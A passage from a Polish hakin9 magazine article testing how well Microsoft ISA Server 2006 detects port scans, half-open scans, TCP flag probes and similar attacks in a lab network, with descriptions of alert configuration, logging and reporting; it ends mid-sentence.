dla NIDS jest za to ściśle związany 
z  budową  infrastruktury  sieciowej 
przedsiębiorstwa i zwykle jest trud-
ny  do  zrealizowania,  gdyż  w  sie-
ci  zazwyczaj  nie  istnieją  miejsca, 
w których sonda miałaby dostęp do 
całego  ruchu  sieciowego.  Należy 
pamiętać,  że  systemy  IDS  nie  za-
wsze  wykrywają  ataki  prawidłowo 
– zdarza się, że alarm jest fałszywy 
(tzw. false positives) lub nie został 
po prostu wygenerowany. 

Z  punktu  widzenia  zarządzania 

bezpieczeństwem, takie sytuacje są 
poważnym problemem, gdyż w kon-
sekwencji, w trakcie eksploatacji za-
bezpieczeń  prawdziwe  ataki  mogą 
zostać  po  prostu  przez  administra-
torów niezauważone. W wielu przy-
padkach  w  celu  odróżnienia  ataku 
od prawidłowego zachowania należy 
skorzystać z alternatywnego rozwią-
zania o podobnym działaniu. 

W  dzisiejszych  czasach  syste-

my  wykrywania  włamań  rozwijają 
się  bardzo  dynamicznie.  Producen-
ci systemów prześcigają się w two-
rzeniu  coraz  to  nowocześniejszych 

funkcji  mających  poprawić  bezpie-
czeństwo  sieci  i  polepszyć  monito-
rowanie  jego  naruszeń.  Niektórzy  z 

nich  dodają  do  systemów  IDS  me-
chanizmy  dynamicznej  rekonfigu-
racji  zapór  ogniowych,  tworząc  za-
awansowane  systemy  zapobiegania 
włamaniom,  jakim  jest  na  przykład 
ISA  Server.  Testy  przeprowadzone 
w  tym  artykule  miały  wykazać,  czy 
ISA  Server  dobrze  wykrywa  ataki, 
a  nie  pokazywać,  w  jaki  sposób  na 
nie reaguje.

ISA 2006 – firewall 

warstwy aplikacji

Microsoft  Internet  Security  and  Ac-
celeration
 (ISA) Server 2006 jest za-
awansowanym rozwiązaniem z dzie-
dziny  bezpieczeństwa,  integrują-
cym w sobie wiele modułów: zaporę 
ogniową, moduł obsługujący wirtual-
ne sieci prywatne (VPN), buforowa-
nie treści webowych, system wykry-
wania włamań (IDS). Do podstawo-
wych cech ISA należą: zapewnianie 
zaawansowanej  ochrony,  łatwość 
użycia oraz możliwość zapewnienia 
szybkiego  i  bezpiecznego  dostępu 
do Internetu. Zaawansowana ochro-
na  obejmuje  zapobieganie  atakom 
nowej  generacji  poprzez  konteksto-

Rysunek 1. 

ISA Server 2006 jako zapora ogniowa warstwy aplikacji

���������

���������

���������

��������

���������

����������

�����������

�����������

����������

���������������

���������������

��������������

�������������

��������������

�������������

�������������


����

���������

Rysunek 2. 

Przeglądanie alarmów na tablicy rozdzielczej

Dobre systemy IDS rozpoznają ataki wykorzystując 

trzy podstawowe techniki

Sygnatury – stosowane są do porównywania zaistniałych zdarzeń z predefinio-
wanym  wzorcem.  Wzorce  korzystają  z  tzw.  wyrażeń  regularnych  (ang.  regular 
expressions
), pakiety sprawdzane są pod kątem wystąpienia określonego ciągu 
znaków. Istotną kwestią jest aktualizacja sygnatur, często bowiem powstają no-
we ataki, które mogłyby nie zostać przez IDS wykryte; wzorce można także de-
finiować samemu.

Badanie częstości wystąpienia określonych zdarzeń – dotyczy głównie ataków ty-

pu DoS (ang. Denial of Service), gdzie przekraczane są limity ilości wystąpień zdarze-
nia w określonej jednostce czasu. IDS powinien mieć także możliwość wykrycia nie-
udanych prób uwierzytelniania się, powinien jednak uwzględniać pewien próg toleran-
cji, w obrębie którego wystąpienie kilku nieudanych prób nie będzie uważane za za-
grożenie.

Badanie anomalii statystycznych – wyznaczane są limity dla parametrów siecio-

wych charakterystycznych dla danej sieci. Przykładem może być odstępstwo rozmia-
rów pakietów IP od średnich rozmiarów zaobserwowanych w sieci lub liczba nowo na-
wiązanych połączeń w określonej jednostce czasu. Statystyki prowadzi się nie tylko 
ze względu na bezpieczeństwo, ale także po to, aby zapewnić dobrą jakość komunika-
cji sieciowej. Systemy IDS zwykle uczą się profilu danej sieci. Ważne jest, aby system 
nauczył się danych statystycznych wynikających z określonej pory dnia, np. wzmożo-
ny ruch sieciowy zaraz po godzinie rozpoczęcia pracy nie może być traktowany jako 
zagrożenie. Stan bieżący ruchu porównywany jest z powstałym w systemie IDS pro-
filem sieci. Jeśli wystąpią znaczne odstępstwa od zapamiętanych statystyk, to gene-
rowany jest alarm. 

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

44

we  filtrowanie  pakietów  z  pamięcią 
stanu  (ang.  stateful  packet  filtering
oraz mechanizm circuit filtering. 

Stanowe  filtrowanie  pakietów 

wspomaga  podejmowanie  decy-
zji,  które  z  nich  mogą  zostać  prze-
puszczone  przez  zabezpieczony 
obwód  sieciowy  oraz  usługi  Proxy 
(warstwa  7).  Porty,  gdy  nie  są  uży-
wane,  zostają  zamknięte,  otwiera 
się je wtedy, gdy zachodzi taka po-
trzeba.  Ochrona  warstwy  połączeń 
(ang.  circuit-layer  security)  oraz  fil-
trowanie  w  tej  warstwie  pozwalają 
na tworzenie niewidocznych dla apli-
kacji bram do sieci, umożliwiając do-
stęp z różnych platform, np. RealAu-
dio czy Windows Media. Filtrowanie 
to  współpracuje  z  filtrowaniem  dy-
namicznym.  Oprócz  tego  kontrolo-
wany jest ruch specyficzny dla kon-
kretnych aplikacji – do tego celu rów-
nież wykorzystywane są filtry: VPN, 
HTTP, DNS, POP3, RPC oraz inne, 
dowolnie  modyfikowalne,  które  wa-
runkują to, czy ISA przepuści wybra-
ny pakiet, czy nie.

W  ISA  Server  2006  większość 

czynności  administracyjnych  wy-
konywana  jest  przy  wykorzysta-
niu  szablonów  sieci,  zautomaty-
zowanych  kreatorów,  wizualnego 
edytora  reguł.  Istnieje  także  moż-
liwość  wyeksportowania  konfigu-
racji  do  formatu  XML.  Bardzo  do-
brym  rozwiązaniem  jest  możliwość 
połączenia  restrykcji  narzucanych 
przez  ISA  Server  2006  z  ADAM 
(Active  Directory  Access  Manage-

ment).  Monitorowanie  odbywa  się 
w  czasie  rzeczywistym  –  umożli-
wia to kontrolowanie stanu sieci na 
bieżąco.  Administrator  ISA  Server 
2006  może  także  skonfigurować 
obsługę  trybu  tunelowania  zgodnie 
z  IPSec  dla  połączeń  wirtualnych 
sieci prywatnych pomiędzy odległy-
mi od siebie ośrodkami.

ISA  Server  2006,  jako  komplek-

sowe  rozwiązanie  z  dziedziny  bez-
pieczeństwa,  został  wyposażony 
w następujące funkcje:

•   ochrona sieci przy wykorzystaniu 

zapory  działającej  w  wielu  war-
stwach,  przezroczystość  zapory 
oraz kontrola dostępu na podsta-
wie reguł,

•   filtrowanie  i  kontrola  z  pamię-

cią  stanu  (stateful  inspection
oraz  zaawansowane  filtrowanie 
w warstwie aplikacji,

•   wykrywanie  włamań  oraz  two-

rzenie związanych z tym dzienni-
ków, raportowanie, alarmowanie,

•   możliwość  bezpiecznego  publi-

kowania  serwerów  na  zewnętrz-
nych interfejsach,

•   wbudowany  moduł  do  obsłu-

gi  wirtualnych  sieci  prywatnych 
(VPN),

•   buforowanie  treści  webowych 

oraz  możliwość  utworzenia  har-
monogramu dla buforowania,

•   integracja z usługą Active Direc-

tory,

•   zdalne zarządzanie.

Dostęp  do  tych  wszystkich  funk-
cji  uzyskuje  się  przy  wykorzysta-
niu konsoli zarządzającej (ang. ISA 
Server  Management  console
).  ISA 
Server jest oprogramowaniem, któ-
re spełnia wymagania warstwy apli-
kacji modelu OSI/ISO. Produkt ten 
ma nie tylko możliwość określania, 
czy  pakiety  przychodzące  z  sieci 
pochodzą od źródła, z którego ruch 
został  dopuszczony  do  transmisji 
oraz  czy  można  je  przepuścić,  ale 
także  jest  w  stanie  analizować  ich 
zawartość,  aby  sprawdzić,  czy  nie 
zawierają ukrytych złośliwych infor-
macji. Na Rysunku 1. została przed-
stawiona  architektura  rozwiązania 
ISA, jako zapory warstwy 7.

Rozwiązanie  ISA  Server  może 

także działać jako serwer Proxy po-
prawiając  użytkownikom  jakość  do-
stępu  do  Internetu.  Poprzez  skon-
figurowanie  reguł  zapory  ogniowej 
można  zezwalać  (lub  zabraniać)  na 
określony ruch w sieci, np. zabronić 

Rysunek 3. 

Konfiguracja 

wykrywania ataku Ping of Death

Rysunek 4. 

Przykład raportu zawierającego wszystkie dostępne informacje

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

45

poszczególnym  użytkownikom  lub 
komputerom  dostępu  do  określonej 
zawartości  sieci  Web.  W  wersji  En-
terprise  ISA  Server  można  definio-
wać reguły dotyczące innych serwe-
rów ISA, dzięki czemu powstaje śro-
dowisko  sieciowe,  w  którym  serwe-
ry  ISA  na  podstawie  wbudowanych 
algorytmów  obsługują  przeciążenia 
ruchu.  Będąc  zaporą,  ISA  znajduje 
się na styku sieci wewnętrznej i Inter-
netu. Zapora chroni sieć wewnętrzną 
przed  atakami  z  zewnątrz,  ale  mo-
że także chronić ruch wewnątrz sie-
ci. Funkcje serwera, takie jak ochro-
na  publikowania  i  filtrowanie  pa-
kietów,  obwodów  i  warstwy  aplika-
cji  są  tematem  na  odrębny  artykuł 
i nie zostaną omówione tym razem. 
Funkcja  wykrywania  intruzów  pole-
ga  na  rejestrowaniu  następujących 
ataków: skanowanie portów (ogólne 
i wyliczane), połowiczny atak skano-
wania  IP,  ataki  SYN/LAND,  Ping  of 
Death
,  UDP  bombing  oraz  ataki  w 
systemie  Out  of  Band.  Panel  admi-
nistracyjny  umożliwia  przeglądanie 
alarmów  wywołanych  tymi  atakami. 
Oprócz tego wykrywane są ataki na 
DNS oraz POP3.

Środowisko pracy

ISA Server 2006 posiada trzy inter-
fejsy: Internal, External i DMZ – taką 
konfigurację  nazywa  się  trójobwo-
dową zaporą graniczną (ang. 3-leg 
perimeter). Rozwiązanie ISA umoż-
liwia  utworzenie  początkowych 
reguł poprzez zaznaczenie schema-
tu  sieci,  w  jakiej  reguły  będą  two-
rzone. Internal Network to sieć we-
wnętrzna,  External  Network  –  ze-

wnętrzna  (czyli  Internet),  wreszcie 
Perimeter Network to strefa zdemili-
taryzowana, czyli DMZ. Z kolei VPN 
Clients  Network  to  sieć  klientów 
wirtualnych  sieci  prywatnych.  Sieć 
wewnętrzna  jest  siecią,  której  do-
myślnie  ISA  ufa.  Oczywiście  jest 
to  zasada  ograniczonego  zaufania 
i  aktywne  są  tylko  te  reguły,  które 
do  funkcjonowania  danej  sieci  są 
potrzebne.  Przykładem  może  być 
protokół LDAP, który domyślnie jest 
dozwolony. Serwer dc.iscg.local jest 
kontrolerem domeny oraz serwerem 
DNS, ISA jest ustawiona jako prze-
kaźnik  DNS
  (ang.  DNS  forwarder
i przekazuje zapytania DNS do dal-
szych  segmentów  sieci.  Na  kon-
trolerze  domeny  działa  także  SQL 
Server  2005,  do  którego  odwołu-
je  się  serwer  WWW  (Uwaga!  Nie 
jest to dobra praktyka administracji 
bezpieczeństwem!).  Uwierzytelnia-
nie  może  być  zarówno  zintegrowa-
ne, jak i wbudowane SQL – z punk-
tu widzenia tego artykułu nie jest to 
istotne. Sieć wewnętrzna w rozwią-
zaniu  ISA  nazywana  jest  Secure-
NAT – dlatego, że w sieciach, które 
mają  do  dyspozycji  tylko  jeden  ze-
wnętrzny numer IP, ISA działa jako 
NAT. Dla sieci SecureNAT dostoso-
wane  są  filtry  w  warstwie  aplikacji 
posiadające  funkcje  np.  zarządza-
nia  połączeniami  czy  obsługę  pro-
tokołów  –  jak  wymieniony  wcze-
śniej  LDAP.  Wszystkie  komputery 
w sieci lokalnej mają wtedy ustawio-
ny serwer ISA jako bramę. W przy-
padku  routera  w  sieci  wewnętrznej 
sytuacja wygląda tak samo – po pro-
stu jest on skonfigurowany tak, aby 

przepuszczać  pakiety  z  sieci  we-
wnętrznej  na  wewnętrzny  interfejs 
ISA  Server.  Oprócz  klientów  trans-
latora SecureNAT ISA Server 2006 
obsługuje pozostałe dwa typy klien-
tów: klientów zapory i klientów ser-
wera  Proxy  sieci  Web.  Klienci  za-
pory,  w  przeciwieństwie  do  Secu-
reNAT,  mają  zainstalowane  i  włą-
czone  oprogramowanie  klienta 
zapory.  Żądania  zasobów  przesy-
łane  są  do  ISA,  gdzie  przeprowa-
dzane jest sprawdzenie uprawnień, 
a następnie weryfikacja danych przy 
wspomnianych  już  filtrach  aplikacji. 
W  przypadku  Web  Proxy,  klienci 
mają  skonfigurowane  przeglądar-
ki  tak,  aby  wskazywały  na  ISA  ja-
ko na serwer Proxy. Klienci, żądając 
dostępu do zasobów internetowych, 
wysyłają zapytanie do ISA, następ-
nie zasób jest udostępniany (lub nie) 
z bufora. Dotyczy to oczywiście pro-
tokołów HTTP/S oraz FTP.

Ruch  przychodzący  z  sieci  ze-

wnętrznej  analizowany  jest  dopie-
ro  na  końcu  –  w  warstwie  aplika-
cji.  Dzieje  się  tak  dlatego,  aby  wy-
kluczyć  przedostanie  się  do  wnę-
trza sieci ataków, które nie obejmują 
warstwy aplikacji, np. SYN Flooding
Na  potrzeby  artykułu  na  tym  inter-
fejsie  opublikowany  został  serwer 
WWW  (IIS  6.0).  Aby  udostępniona 
witryna  działała  prawidłowo,  wraz 
z  funkcjami,  które  oferuje,  należało 
w regułach zapory zezwolić na ruch 
HTTP  na  porcie  80.  Należało  także 
poprawnie skonfigurować serwer IIS 
i dodać nowy element do puli aplika-
cji (ang. application pool) oraz usta-
wić odpowiednie uprawnienia do wi-
tryny. Z sieci zewnętrznej przeprowa-
dzona  została  seria  ataków  spraw-
dzająca  działanie  systemu  IDS 
na serwerze ISA. 

W  sieci  DMZ,  zwanej  także  Pe-

rimeter  Network,  znajdują  się  ser-
wery,  które  świadczą  usługi  zarów-
no  dla  sieci  wewnętrznej,  jak  i  ze-
wnętrznej.  Znajduje  się  tam  serwer 
FTP (tylko dla klientów SecureNAT), 
jak  i  serwer  WWW,  który  udostęp-
nia swe usługi w Internecie – opubli-
kowany  na  zewnętrznym  interfejsie 
ISA. Komputery tej strefy należą do 
domeny iscg.local.

Rysunek 5. 

Alarm wywołany przez skanowanie portów o numerach 1-2048

Rysunek 6. 

Alarm wywołany przez skanowanie wszystkich portów

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

46

Kategoria  wirtualnych  sieci  pry-

watnych VPN istnieje niezależnie od 
ilości interfejsów, jakie posiada ISA. 
Wirtualne sieci prywatne umożliwia-
ją  tworzenie  chronionych  połączeń, 
które  realizowane  są  poprzez  sie-
ci  niezaufane  –  np.  Internet  –  po-
między  klientem  a  siecią  prywatną 
lub  pomiędzy  oddzielnymi,  odda-
lonymi  od  siebie  lokacjami.  W  ce-
lu  nawiązania  połączenia  wykorzy-
stywany  jest  protokół  PPTP/MMTP 
lub  L2TP/IPSec,  a  do  uwierzytel-
niania PAP, SPAP, CHAP, MSCHAP, 
MSCHAPv2,  EAP-TLS.  W  ustawie-
niach VPN na serwerze ISA funkcja 
Enable Client VPN Access jest włą-
czona  i  klienci  zewnętrzni  mogą  łą-
czyć  się  z  siecią  prywatną.  Reguły 
zapory  również  zezwalają  na  takie 
połączenia.

Monitorowanie

Monitorowanie  jest  podstawową 
funkcją  wykorzystywaną  w  niniej-
szych  testach.  Sprawna  administra-
cja ISA Server 2006 związana jest z 
możliwością sprawdzania sesji użyt-
kownika,  alarmów,  zdarzeń  czy  da-
nych  przesyłanych  przez  sieć.  Bar-
dzo  pomocna  okazała  się  admini-
stracyjna  tablica  rozdzielcza  (ang. 
dashboard), w której zebrane zosta-
ły  informacje  o  połączeniach,  alar-
mach,  usługach,  sesjach,  raportach 
i stanie systemu. Funkcjonalność ta 
umożliwia  przeglądanie  aktualnych 

statystyk  każdego  z  wymienionych 
elementów. Tablicę można dostoso-
wywać do swoich potrzeb, minimali-
zując niepotrzebne części okna. Cie-
kawą  opcją  jest  monitorowanie  wy-
dajności  systemu  (ang.  system  per-
formance
),  gdzie  wyświetlana  jest 
liczba  pakietów  przepuszczonych 
i  odrzuconych  przez  zaporę,  (ang. 
Allowed  Packets/Sec,  Dropped 
Packets/Sec
).  Bardziej  rozbudowa-
ny tryb monitorowania systemu udo-
stępniony jest w programie ISA Se-
rver Performance Monitor.

Konfigurowanie 

i przeglądanie alarmów

Alarmy  są  aktywną  metodą  oce-
ny  bezpieczeństwa  zarówno  same-
go serwera ISA, jak i całej sieci, któ-
rą ten serwer chroni. Dostarczają in-
formacji  o  różnego  rodzaju  zdarze-
niach,  np.  atakach,  błędach  konfi-
guracyjnych,  niskiej  przepustowo-

ści. Poniżej przedstawiony jest frag-
ment  dotyczący  alarmów  z  tablicy 
rozdzielczej:

W  przeprowadzanych  testach 

każdorazowo  konfigurowane  były 
alarmy, zdefiniowane pod konkretny 
atak.  Większość  alarmów  jest  wbu-
dowana w  ISA Server 2006, istnie-
ją  jednak  ataki  wymagające  ścisłe-
go  określenia  ich  parametrów.  Brak 
zdefiniowanego alarmu nie oznacza, 
że atak ma szanse się powieść. Nie 
zostanie  jedynie  rozpoznany  przez 
serwer, ale jego właściwości pozwo-
lą  go  sklasyfikować  jako  ruch,  któ-
ry  nie  może  zostać  przepuszczony. 
Konfigurując  alarm  należy  wybrać 
opcję  Configure  Alert  Definitions  z 
tablicy  rozdzielczej  i  ustawić  para-
metry  alarmu  na  zakładkach:  Ge-
neral
  (Ogólne),  Events  (Zdarzenia), 
Actions  (Czynności).  Na  zakładce 
Ogólne można włączyć alarm i skon-
figurować jego podstawowe parame-
try,  Zdarzenia  definiują  np.  ile  razy 
dane  zdarzenie  ma  się  powtórzyć, 
aby  alarm  był  wywołany.  Czynno-
ści to nic innego jak powiadamianie 
o zdarzeniach na pięć różnych spo-
sobów:  wysłanie  wiadomości  e-ma-
il, uruchomienie programu, zapis do 
Dziennika  Zdarzeń,  uruchomienie 
usługi, zatrzymanie usługi.

Reguły ISA Server 2004/2006

Reguły zapory ogniowej obejmują trzy typy reguł: dostępu, publikowania sieci Web 
oraz publikowania serwera i definiują, w jaki sposób (i czy w ogóle) określony ruch 
ma być przesyłany. Oprócz reguł definiowalnych istnieje także tzw. ostatnia reguła 
domyślna (ang. Last Default Rule), która zabrania jakiegokolwiek ruchu o dowolnej 
porze. Poniżej przedstawione zostały ustawienia zapory ogniowej przy wykonywa-
niu testów penetracyjnych. Reguły podczas wykonywania testów się zmieniały, po-
wstawały nowe, część była wyłączana.

Reguły sieci definiują, czy ruch między zdefiniowanymi sieciami jest przezna-

czony do routowania, czy do translacji adresów (ang. Network Address Translation). 
W przypadku, gdy zależności nie istnieją, między segmentami sieci nie ma komu-
nikacji. Reguły sieci są przetwarzane przez program ISA Server 2006 w pierwszej 
kolejności.  Reguły  te  podczas  przeprowadzania  testów  penetracyjnych  wygląda-
ły następująco.

Reguły  systemu  nie  były  zmieniane  podczas  wykonywania  testów.  Stanowią 

one zbiór 30 predefiniowanych reguł, które umożliwiają korzystanie z usług potrzeb-
nych  do  prawidłowego  funkcjonowania  środowiska  sieciowego.  Określają,  w  jaki 
sposób ruch ma być przesyłany z ISA Server 2006 do innych komputerów lub sieci. 
ISA Server 2006 posiada swoją własną sieć nazwaną LocalHost. Przykładowo, je-
śli chce się zarządzać zdalnie serwerem ISA z wybranych komputerów za pomocą 
Terminal Server, to reguła systemu zezwalająca na przepuszczanie protokołu RDP 
powinna pozostać włączona.

Rysunek 7. 

Program alert_

PortScan.exe, który uruchomił się 
do wykryciu ataku przez serwer ISA

Rysunek 8. 

Komunikat zatrzymania monitorowania

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

47

Monitorowanie zdarzeń

W  trakcie  testów  wykorzystywa-
no  także  konsolę  systemową  Pod-
gląd  Zdarzeń  (ang.  Event  Viewer). 
Wszystkie zdarzenia dotyczące ser-
wera ISA  – włączenie lub wyłącze-
nie  usługi  czy  wywołanie  alarmów 
–  zapisywane  są  w  dzienniku  Ap-
plication
.  Nie  jest  to  jednak  sposób 
monitorowania,  który  powinien  słu-
żyć jako podstawowe źródło wiedzy 
o  zdarzeniach.  Może  on  jedynie 
wspomagać  uzyskiwanie  informa-
cji  o  tym,  co  się  w  systemie  dzie-
je.  Ten  sposób  monitorowania  jest 
stosowany  tylko  w  celu  ukazania, 
ze dany alarm został wywołany i in-
formacja o tym zostaje zapisana do 
logu  systemowego.  Taki  każdora-
zowy  zapis  stanowi  niepodważalny 
dowód na to, że atak miał miejsce – 
dzięki temu atakujący nie jest tak do 
końca anonimowy. Dodatkowo mamy 
do  dyspozycji  szereg  funkcji  na  po-
ziomie systemu operacyjnego, które 
monitorują  wykorzystanie  zasobów 
komputera.  Istnieją  one  zarówno 
na poziomie komputera lokalnego, jak
i na poziomie całej domeny. Wszel-

kie  ataki  oraz  związane  z  nimi  ak-
cje,  które  mają  zostać  wywołane 
w momencie wystąpienia zdarzenia, 
mogą  być  skonfigurowane  w  taki 
sposób,  aby  przekazywały  informa-
cje do Dziennika Zdarzeń.

Przeglądanie 

dzienników

W programie ISA Server 2006 two-
rzone  są  dzienniki,  które  zawiera-
ją  informacje  dotyczące  aktywności 
związanych z zaporą ogniową, Pro-
xy  sieci  Web  oraz  modułem  Mes-
sage  Screener  SMTP
.  Dzienniki  te 
mogą  być  zapisywane  do  formatów 
SQL, MSDE oraz do pliku (z wyjąt-
kiem logu SMTP, który może być za-
pisywany tylko do pliku). W przypad-
ku MSDE log zapisywany jest do pli-
ku o domyślnej nazwie ISALOG_yy-
yymmdd_FWS_nnn.mdf,
 gdzie pola 
yyyymmdd oraz nnn to odpowiednio 
data i numer, pomocne w identyfika-
cji  dziennika.  W  zakładce  Logging 
istnieje  także  opcja  monitorowania 
i obserwowania ruchu w sieci w cza-
sie  rzeczywistym.  W  celu  włącze-
nia tej opcji należy kliknąć pole Start 

Query. Funkcjonalność ta posłuży do 
obserwacji, czy dany atak jest rozpo-
znawany, czy nie i z jakich reguł za-
pory korzysta oraz czy ruch zostanie 
dozwolony czy zabroniony.

Raportowanie

Ciekawym  rozwiązaniem,  bar-
dzo  przydatnym  w  praktyce,  jest 
możliwość  generowania  raportów 
w  oparciu  o  własne  preferencje. 
Spośród  dostępnych  opcji,  które 
mają  zostać  zawarte  w  raporcie, 
można  wybrać,  czy  mają  one  do-
tyczyć np. wykorzystania sieci Web 
przez pracowników, charakterystyki 
ruchu przechodzącego przez zapo-
rę itp. Poniżej znajduje się przykład 
takiego raportu:

Istnieje  pięć  kategorii  raportów, 

każda  z  nich  dostarcza  szczegóło-
wych informacji o różnych aspektach 
działania  serwera  ISA.  Raportowa-
nie posłużyło do analizy danych sta-
tystycznych o ruchu w sieci podczas 
wykonywania ataków oraz w czasie 
normalnej pracy.  

Ataki rozpoznawcze

Rozpoznanie  sieci  nie  jest  samo 
w sobie atakiem, jest natomiast dzia-
łaniem  wykrywanym  przez  więk-
szość  systemów  IDS.  Atakiem  roz-
poznawczym może być na przykład 
wyszukiwanie  krytycznych  punktów 
sieci,  np.  kontrolerów  domeny,  ser-
werów DNS, otwartych portów, uru-
chomionych  usług  itd.  Działania  ta-
kie, często nazywane po prostu gro-

Rysunek 10. 

Dowód wykrycia skanowania IP Half Scan na serwerze ISA 

Rysunek 11. 

Zalogowanie 

nieistniejącego użytkownika

Rysunek 12. 

Konfigurowanie filtrów 

HTTP

Rysunek 9. 

Fragment ramki TCP Null  na serwerze ISA (Network Monitor)

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

48

madzeniem  informacji,  zwykle  po-
przedzają  atak  właściwy  (rzeczywi-
sty). Większość komercyjnego opro-
gramowania  skanującego  realizu-
je funkcje wpisujące się w kategorię 
ataków rozpoznawczych. Są to:

•   badanie  infrastruktury  sieci,  np. 

enumeracja  komputerów,  syste-
mów operacyjnych i działających 
aplikacji,

•   identyfikacja  typowych  błędów 

zabezpieczeń,  np.  istnienie  kon-
ta Anonymous w usłudze telnet,

•   wyszukanie  komputerów,  które 

zawierają  znane  luki  zabezpie-
czeń,

•   wykonywanie  znanych  testów 

i ataków oraz sprawdzenie podat-
ności na nie.

Większość  dostępnych  programów 
do  skanowania  słabych  punktów 
systemów i sieci wykorzystuje do te-
go celu informacje zawarte w biule-
tynach  zabezpieczeń  producentów 
wybranego  oprogramowania  oraz 
w  indeksie  CVE1  (Common  Vulne-
rabilities  and  Exposure
s),  w  którym 
znajduje  się  największy  na  świecie 
zbiór  wszystkich  dotychczas  wykry-
tych luk systemowych. Indeks zawie-
ra  także  opisy  zagrożeń  oraz  okre-

śla ich poziom wykorzystując do te-
go czteropoziomową skalę: krytycz-
ny, wysoki, średni, niski. CVE zosta-
ło utworzone w 1998 roku przez or-
ganizację  MITRE  w  porozumieniu 
z  Departamentem  Bezpieczeństwa 
Wewnętrznego  USA.  Przykładem 
ogólnodostępnego  oprogramowa-
nia  skanującego,  które  wykrywa  lu-
ki  bezpieczeństwa,  jest  MBSA  (Mi-
crosoft Baseline Security Analyzer)

Opiera  ono  swoje  działanie  na  sys-
temach firmy Microsoft i jest bardzo 
pomocne w przypadkach, gdy pomi-
nie się którąś z podstawowych zasad 
zabezpieczeń. 

Skanowanie  portów  (elementy 

fingerprintingu)  –  jest  działaniem 
polegającym na ustaleniu, czy sys-
tem nasłuchuje na określonym por-
cie oraz czy port jest zamknięty, czy 
filtrowany. Typowe skanowanie por-
tów  jest  nazywane  skanowaniem 
połączeniowym  –  dlatego,  ze  na 
każdym  porcie  podejmowana  jest 
próba  nawiązania  połączenia  TCP. 
Atak  został  przeprowadzony  przy 
wykorzystaniu  skanera  portów  7th 
Sphere,  który  jest  łatwo  wykrywal-
ny,  ale  i  bardzo  szybki  oraz  łatwy 
w  obsłudze.  Bardziej  zaawanso-
wane  skanery  zostały  wykorzysta-
ne  w  niniejszych  testach  wykorzy-

stane do innych celów. Atak na ser-
wer  isa.iscg.local  można  było  za-
obserwować  na  zakładce  Logging 
w węźle Monitoring w konsoli zarzą-
dzającej  ISA  Server  2006.  Przed 
przystąpieniem  do  ataku  należa-
ło  skonfigurować  alarm,  który  miał 
zostać  wyświetlony,  gdy  następo-
wało zdarzenie. W tym celu należa-
ło w zakładce Alerts w węźle Moni-
toring
 z panelu zadań wybrać opcję 
Configure Alert Definitions, następ-
nie Add i za pomocą kreatora skon-
figurować  opcje  zebrane  w  Tabe-
lach 1 i 2.

Oprócz  tego  należało  także 

w  zakładce  Events  zaznaczyć  opcje 
mówiące,  że  alarm  po  wykryciu  sy-
gnatur  ma  być  wywoływany  natych-
miastowo  (Immediately)  oraz  że  in-
formacje o wykryciu mają być zapisy-
wane do Dziennika zdarzeń Windows 
(zakładka  Actions).  Aby  można  było 
łatwiej zidentyfikować zakres portów, 
zdefiniowane zostały ich dwie grupy: 
tzw. dobrze znane (ang. well known
porty  oraz  wszystkie  porty.  Skano-
wanie poszczególnych grup wywołu-
je  alarmy  przedstawione  na  Rysun-
kach 5 i 6.

Każdorazowo  po  wykryciu  ata-

ku  wywoływana  jest  przykłado-
wa  aplikacja  alert_PortScan.exe. 
Podobna  konfiguracja  dotyczyła 
pozostałych  ataków,  opis  jej  więc 
zostanie  w  dalszej  części  artyku-
łu pominięty:

Skutkiem ubocznym okazało się 

okno ostrzeżenia, które pojawiło się 
w wyniku pozostawionego w zakład-
ce  Logging  monitorowania  (Rysu-
nek 8).

IP half scan to atak, który pole-

ga  na  wysyłaniu  na  dany  port  ser-
wera  pakietu  SYN.  Następnie  ser-
wer odpowiada pakietem SYN|ACK 
w sytuacji, gdy port jest w stanie na-
słuchu  –  w  przeciwnym  przypad-
ku otrzymamy pakiet z ustawionym 
bitem  RST.  Nie  chcąc  nawiązywać 
połączenia, do skanowanej maszy-
ny wysyła się segment z bitem RST, 
który  nakazuje  zerwać  połączenie. 
Wymiana  taka  nazywana  jest  nie-
pełnym  uzgadnianiem  trójfazowym, 
ponieważ brakuje ostatecznego po-
twierdzenia przez klienta. Alarm ge-

Rysunek 13. 

Ruch wywołany przeprowadzaniem ataku LAND

Rysunek 14. 

Wykrycie ataku LAND

Rysunek 15. 

Obniżenie jakości usług sieciowych poprzez zalewanie 

pakietami UDP

Rysunek 16. 

Zmniejszenie się dostępnej ilości wolnego miejsca na dysku

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

49

nerowany  przez  systemy  IDS  infor-
muje,  że  nastąpiła  próba  dokona-
nia pełnego procesu nawiązywania 
połączenia TCP, ale bez odebrania 
pakietów potwierdzających ACK. W 
niektórych  przypadkach  wysłanie 
dużej ilości pakietów SYN oraz brak 
otrzymywania  potwierdzenia  usta-
nowienia  połączenia  może  dopro-
wadzić do odmowy jakiejkolwiek ko-
munikacji z komputerem docelowym 
– jest to atak typu DoS. 

Na porty TCP wysyłane są nastę-

pujące pakiety:

•   TCP ping – pakiet zflagą ACK,
•   TCP NULL – pakiet, który nie za-

wiera  flag,  ajedynie  numery  se-
kwencyjne,

•   TCP  FIN  –  pakiet  zflagą  FIN, 

trudny do wykrycia,

•   TCP  XMAS  –  pakiet  zflagami: 

URG, PSH iFIN,

•   UDP – specjalny pakiet zpustym 

datagramem,

Atak  na  komputer  isa.iscg.local 
można  było  zaobserwować  w  uru-
chomionym programie Network Mo-
nitor, ponieważ na na zakładce Log-
ging
  w  węźle  Monitoring  w  konsoli 
zarządzającej ISA Server 2006 pa-
kiety  nie  zostały  pokazane.  Przed 
przystąpieniem  do  ataku  należa-
ło  skonfigurować  alarm,  który  miał 

zostać  wyświetlony  po  wystąpie-
niu  zdarzenia.  W  tym  celu  należa-
ło w zakładce Alerts w węźle Moni-
toring
 z panelu zadań wybrać opcję 
Configure Alert Definitions
, następ-
nie Add i za pomocą kreatora skon-
figurować opcje zaprezentowane w 
Tabeli 3.

Oprócz  tego  ponownie  należa-

ło  w  zakładce  Events  zaznaczyć 

opcje natychmiastowego wywołania 
alarmu  po  wykryciu  sygnatur  (Im-
mediately)
  oraz  zapisu  do  Dzienni-
ka zdarzeń Windows (zakładka Ac-
tions
). Ruch wywołany przez skano-
